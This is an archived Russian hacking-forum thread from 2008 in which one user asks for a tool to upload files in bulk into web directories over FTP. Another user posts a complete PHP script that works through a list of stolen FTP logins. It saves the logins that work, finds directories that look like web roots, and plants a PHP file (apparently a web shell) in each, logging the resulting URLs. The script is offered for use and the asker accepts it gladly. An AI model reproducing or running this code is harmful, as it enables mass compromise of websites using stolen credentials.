PDA

Просмотр полной версии : Ftp тулза


Хозяин
16.05.2008, 23:49
Срочно нужна тулза, для работы с фтп.
Не нужно ничего навороченного, грузить файл в веб диру (индекс к примеру, если его просто нет или перезаписывать его)

http://forum.antichat.ru/showthread.php?p=304586

это работает как-то нестабильно, то грузит файл, то отказывается.

Посоветуйте, заранее спасибо

Полуночный Хэкер
16.05.2008, 23:53
FileZilla +))) фтп клиентов то полно

Хозяин
16.05.2008, 23:54
Причем здесь файлзилла? мне массово нужно это делать

Полуночный Хэкер
16.05.2008, 23:55
запусти много файлзил)

Piflit
17.05.2008, 00:42
d1ez money maker

diehard
17.05.2008, 00:47
вот мой мегапревадный скрипт писан недавно как раз для этих целей, читает список фтп, коннектится, выбирает диры похожие на веб-диры и записывает в каждую из них файл.


<?
set_time_limit(0);
Error_Reporting(E_ALL & ~E_NOTICE);


$all_ftp = file("ftp.txt");

$remotefilename = "sssss.php";
$localfilename = "sssss.php";

function iswebdir($dir){
$strs = array("www", "html", "http", "docs");
foreach ($strs as $ptrn){
if (strstr($dir, $ptrn))
return 1;
}
return 0;
}

function writelog($txt){
$flog = fopen("log.txt", "a");
fwrite($flog, $txt."\r\n");
fclose($flog);
}

for ($i=0; $i<sizeof($all_ftp); $i++){
$ftp = trim($all_ftp[$i]);
$fcurr = fopen("current.txt", "w");
fwrite($fcurr, $i."\r\n".$ftp);
fclose($fcurr);

$login="";
$pass="";
$account=eregi_replace("\n|\r|ftp://","",trim($ftp));
$host=str_replace("/","",substr($account,strrpos($account,"@")+1));
$loginpass=substr($account,0,strrpos($account,"@"));
@list($login,$pass)=@explode(":",$loginpass,2);

$conn = ftp_connect($host, 21, 10);
if (!$conn) {
//writelog("Not connect $ftp");
continue;
} //else writelog("Connect to $ftp");

$login_result = ftp_login($conn, $login, $pass);
if (!$login_result) {
//writelog("Wrong login $ftp");
ftp_quit($conn);
continue;
} //else writelog("Login to $ftp");

$fvalid = fopen("valid.txt", "a");
fwrite($fvalid, $ftp."\r\n");
fclose($fvalid);

ftp_pasv($conn, true);
$rootdir = ftp_pwd($conn);
//writelog("pwd=$rootdir");
$webdirs = array($rootdir);
$filelist = ftp_rawlist($conn, $rootdir);
foreach ($filelist as $raw){
$filename = trim(substr($raw, strrpos($raw, " ")));
$len = strlen($filename);
if (substr($filename, $len-1) == "/")
$filename = substr($filename, 0, $len - 1);
if ($slash = strrpos($filename, "/"))
$filename = substr($filename, $slash + 1);
if (substr($raw, 0, 1) == "d"){ //directory
if (iswebdir($filename)){
//writelog("webdit ".$rootdir."/".$filename);
$webdirs[] = $rootdir."/".$filename;
}
}
}

foreach ($webdirs as $dir){
$f1 = $dir."/".$remotefilename;
$f2 = $localfilename;
if (ftp_put($conn, $f1, $f2, FTP_BINARY))
//writelog("uploaded $f2 to $f1");
writelog("http://".$host."/sssss.php");
//else
//writelog("cannot upload $f2 to $f1");
}

ftp_quit($conn);
}

?>

Хозяин
17.05.2008, 01:20
Спасибо, это именно то, что нужно!